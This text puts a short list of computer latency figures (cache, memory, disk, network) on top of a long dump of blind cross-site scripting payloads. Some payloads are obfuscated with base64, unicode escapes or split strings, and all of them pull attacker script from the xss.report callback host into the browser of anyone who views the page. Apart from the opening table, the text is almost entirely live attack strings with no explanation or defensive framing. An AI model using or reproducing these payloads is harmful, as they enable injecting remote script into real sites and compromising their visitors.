L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns
Compress 1K bytes with Zippy ............. 3,000 ns = 3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns = 20 µs
SSD random read ........................ 150,000 ns = 150 µs
Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs
Round trip within same datacenter ...... 500,000 ns = 0.5 ms
Read 1 MB sequentially from SSD* ..... 1,000,000 ns = 1 ms
Disk seek ........................... 10,000,000 ns = 10 ms
Read 1 MB sequentially from disk .... 20,000,000 ns = 20 ms
Send packet CA->Netherlands->CA .... 150,000,000 ns = 150 ms
Assuming ~1GB/sec SSD
Visual chart provided by ayshen
Data by Jeff Dean
Originally by Peter Norvig
``">
">


">
">
"><im"+"g src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><\u0069mg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><img\x20src=x src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><img src=
x
src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"><img src=x src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><img src=x src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><svg/onload=eval//(atob//(this.id)) id=dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYyA9ICJodHRwczovL3hzcy5yZXBvcnQvYy9sIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw=>
"><sv"+"g/onload=eval//(atob//(this.id)) id=dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYyA9ICJodHRwczovL3hzcy5yZXBvcnQvYy9sIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw=>
"><svg/onload=eval//(atob//(this.id)) id=dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYyA9ICJodHRwczovL3hzcy5yZXBvcnQvYy9sIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw=>
"><svg /onload=eval//(atob//(this.id)) id=dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYyA9ICJodHRwczovL3hzcy5yZXBvcnQvYy9sIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw=>
"><\u0073\u0076\u0067/onload=eval//(atob//(this.id)) id=dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYyA9ICJodHRwczovL3hzcy5yZXBvcnQvYy9sIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw=>
">
"><in"+"put onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><\u0069\u006e\u0070\u0075\u0074 onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
<
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">"><ifr"+"ame srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//xss.report/c/l");a.send();</script> <script>$.getScript("//xss.report/c/l")</script>
"><script>$.getScript("//xss.report/c/l")</script>
">]
">]




var a=document.createElement("script");a.src="https://xss.report/c/l";document.body.appendChild(a);
javascript:eval('var a=document.createElement('script');a.src='https://xss.report/c/l\';document.body.appendChild(a)')
"/></textarea><script src=https://xss.report/c/l></script>

"/></textarea><script>$.getScript("//xss.report/c/l")</script>
"/></textarea>
"/></textarea>
"/></textarea>
"/></textarea>
';"/></textarea></script><script/src=https://xss.report/c/l/
';"/></textarea></script><script/src=https://xss.report/c/l/
'";//></textarea></script><script/src=https://xss.report/c/l/
</textarea/x><script src=https://xss.report/c/l></script>
</textarea/x>
</textarea/x>
</textarea/x>
"></textarea/x><script src=https://xss.report/c/l></script>
"></textarea/x>
"></textarea/x>
"></textarea/x>
<script src=https://xss.report/c/l></script>
"><script src=https://xss.report/c/l></script>
">XSS Vulnerability<script src=https://xss.report/c/l></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(String.fromCharCode(101, 118, 97, 108, 40, 97, 116, 111, 98, 40, 116, 104, 105, 115, 46, 105, 100, 41, 41))>


"><img src=x id=ZG1WeUhnRWUzWkdud2N5UmVZWFJ2WVdGbWVudENnc2N5QlQwSWtvVWd5RXNwbXBzT2VZZEJIZ1BvRHhTOkFsYTQzRHZ5Z3dDUUhrb2FVUT0= onerror=eval(atob(atob(this.id)))>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(['ev','al'].join('')(atob(this.id)))>
">
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=(()=>{const fn=eval;fn(atob(this.id))})()>
">
">
">]<img src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>">]<img src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>
<Svg Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>
<Iframe Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)> "><Iframe Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)> "/></textarea><Iframe Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>"><Svg Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>
'"><Svg Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>

">
"/></textarea><input Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>
"><input Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>
"/></textarea><input Src="https://xss.report/c/l" OnLoad=import(this.getAttribute('src')+0)>
">\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006f\u006e\u0066\u006f\u0063\u0075\u0073\u003d\u0065\u0076\u0061\u006c\u0028\u0061\u0074\u006f\u0062\u0028\u0074\u0068\u0069\u0073\u002e\u0069\u0064\u0029\u0029\u0020\u0069\u0064\u003d\u0064\u006d\u0056\u0079\u0072\u0020\u0047\u0045\u0039\u005a\u0047\u0039\u006a\u0043\u0072\u0065\u0059\u0058\u0052\u0076\u005a\u0057\u0057\u004c\u006d\u0045\u0075\u0064\u0043\u0067\u0069\u0063\u0032\u004e\u0079\u0061\u0073\u005a\u006d\u0039\u0049\u006d\u0068\u0030\u0064\u0048\u0042\u007a\u004f\u0069\u0038\u0076\u0065\u0058\u0053\u007a\u004c\u006e\u0052\u006c\u0049\u0067\u0042\u0057\u004e\u0044\u0057\u004e\u0074\u0051\u0063\u0068\u0069\u006c\u004b\u0050\u003b\u0020\u0061\u0075\u0074\u006f\u0066\u006f\u0063\u0075\u0073>
"><input onfocus=eval(atob(['dmFyIGE9ZG9j','dW1lbnQuY3JlY','XRlRWxlbWVudCg','ic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'].join(''))) autofocus>
">
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><input onfocus=eval(atob(this['i'+'d'])) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
">\u003c\u0069\u006e\u0070\u0075\u0074 onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><input onfocus=window'e'+'val' id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><input onfocus=eval(atob(this.id.split('').reverse().join(''))) id=7kASodk9Lm9dructaircEtanemeleeR.etacideMs.tniprSc2>.c2i0.tniopmahps"
'"></title></textarea></script></style>
'"></title></textarea></script></style><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
--></tiTle></stYle></texTarea></scrIpt>"//'//>
--></tiTle></stYle></texTarea></scrIpt>"//'//><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><svg/onload=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 >
/><svg/onload=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>
<svg/onload=alert(1)><script src=https://xss.report/c/l></script>
<script x>alert('XSS')<script y><script src=https://xss.report/c/l></script>'"></title></textarea></script></style>![]()
'"></title></textarea></script></style><script src=https://xss.report/c/l></script>
”/>&_lt;_script src=https://xss.report/c/l>&_lt;/scr_ipt>”/>
">
'>"></title></style></textarea></script><script/src=https://xss.report/c/l></script>
<img src onerror=import('https://xss.report/c/l')>
"><img src onerror=import('https://xss.report/c/l')>
<img src=x onerror=import('https://xss.report/c/l')>
<Img Src=OnXSS OnError=import('https://xss.report/c/l')>
"><Img Src=OnXSS OnError=import('https://xss.report/c/l')>
">]
">]
">]
</script><svg/onload=eval//(atob//(this.id)) id=dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYyA9ICJodHRwczovL3hzcy5yZXBvcnQvYy9sIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw=>
">
">]</textarea><script>$.getScript("//xss.report/c/l")</script>">]</textarea><script>$.getScript("//xss.report/c/l")</script>
--></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src=https://xss.report/c/l></scrIpt>
">XSS VulnerabilityXSS
"><svg/onload=eval('fetch("https://xss.report/c/l")')>
"><svg/onload=\u0065\u0076\u0061\u006c('fetch("https://xss.report/c/l\")')>
"><svg/onload=eval(atob('ZmV0Y2goJ2h0dHBzOi8veHNzLnJlcG9ydC9jL2wnKQ=='))>
"><svg/onload=/**/eval('fetch("https://xss.report/c/l")')>
"><input autofocus onfocus=eval('fetch("https://xss.report/c/l")')>
<Iframe SrcDoc="<Script Src=https://xss.report/c/l></Script>"> </script>”> "><link rel=stylesheet src="https://xss.report/c/l"> "><body onload=location='https://xss.report/c/l'> "><object data='https://xss.report/c/l'></object> "><details ontoggle=location='https://xss.report/c/l'></details> "><svg/onload=location='https://xss.report/c/l'> "><embed src="https://xss.report/c/l"> "><link rel="stylesheet" href="https://xss.report/c/l"> `'";//><img/src=x onError="${x};location='https://xss.report/c/l';alert(1);"> `'";//><img src=a onError=location='https://xss.report/c/l'> `'";//></h1><svg onload=location='https://xss.report/c/l'> `'";///></textarea><script src=https://xss.report/c/l></script> /<%2Ftitle><script src=https://xss.report/c/l></script> ><"/></textarea><script src=https://xss.report/c/l></script> ${{48*53}}`'";--><sCRIpt sRc=//xss.report/c/l></sCRIpt> ${{48*53}}`'";--><sCRIpt sRc=https://xss.report/c/l></sCRIpt> -->"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2wiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus> "></script><img src=x onerror=with(document)body.appendChild(createElement('script')).src='https://xss.report/c/l'> </script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/https://xss.report/c/l/).slice(2), document.documentElement.appendChild(s))//'>"><input autofocus onfocus=import('https://xss.report/c/l')>
"><input autofocus onfocus=//eval('fetch("https://xss.report/c/l")')>
"><textarea autofocus onfocus=eval('fetch("https://xss.report/c/l")')>
"><input autofocus onfocus=\u0065\u0076\u0061\u006c('fetch("https://xss.report/c/l\")')>
"><input autofocus onfocus=//eval('fetch("https://xss.report/c/l")')>
"><input autofocus onfocus=eval(atob('ZmV0Y2goJ2h0dHBzOi8veHNzLnJlcG9ydC9jL2wnKQ=='))>